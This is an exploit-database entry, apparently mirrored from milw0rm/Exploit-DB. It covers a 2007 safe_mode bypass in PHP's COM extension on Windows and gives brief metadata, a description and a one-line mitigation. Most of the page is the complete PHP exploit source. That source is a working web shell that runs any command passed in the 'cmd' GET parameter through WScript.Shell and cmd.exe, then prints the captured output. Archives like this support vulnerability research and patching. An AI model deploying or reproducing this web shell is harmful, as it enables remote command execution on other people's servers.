header-logo
Suggest Exploit
vendor:
PHP
by:
milw0rm.com
5.5
CVSS
MEDIUM
Bypass
CWE
Product Name: PHP
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows
2007

PHP COM extensions (inconsistent Win32) safe_mode bypass

This exploit allows an attacker to bypass the safe_mode restriction in PHP COM extensions on inconsistent Win32 systems. It utilizes the WScript.Shell COM object to execute a command provided through the 'cmd' parameter in the GET request. The output of the command is then saved to a file named 'suntzoi.txt' in the same directory as the script. The contents of the file are then displayed on the webpage.

Mitigation:

Upgrade to a version of PHP that does not have this vulnerability or apply patches provided by the vendor.
Source

Exploit-DB raw data:

<?php
   //PHP COM extensions (inconsistent Win32) safe_mode bypass

    $____suntzu = new COM("WScript.Shell");
    $____suntzu->Run('c:\windows\system32\cmd.exe /c '.escapeshellarg($_GET[cmd]).' > '.dirname($_SERVER[SCRIPT_FILENAME]).'/suntzoi.txt');
    $____suntzoi=file("suntzoi.txt");
    for ($i=0; $i<count($____suntzoi); $i++) {echo nl2br(htmlentities($____suntzoi[$i]));}

   // *quote* from the php manual:
   // There is no installation needed to use these functions; they are part of the PHP core.

   // The windows version of PHP has built in support for this extension. You do not need to load any additional extension in order to use these functions.

   // You are responsible for installing support for the various COM objects that you intend to use (such as MS Word);
   // we don't and can't bundle all of those with PHP.
?>

# milw0rm.com [2007-03-07]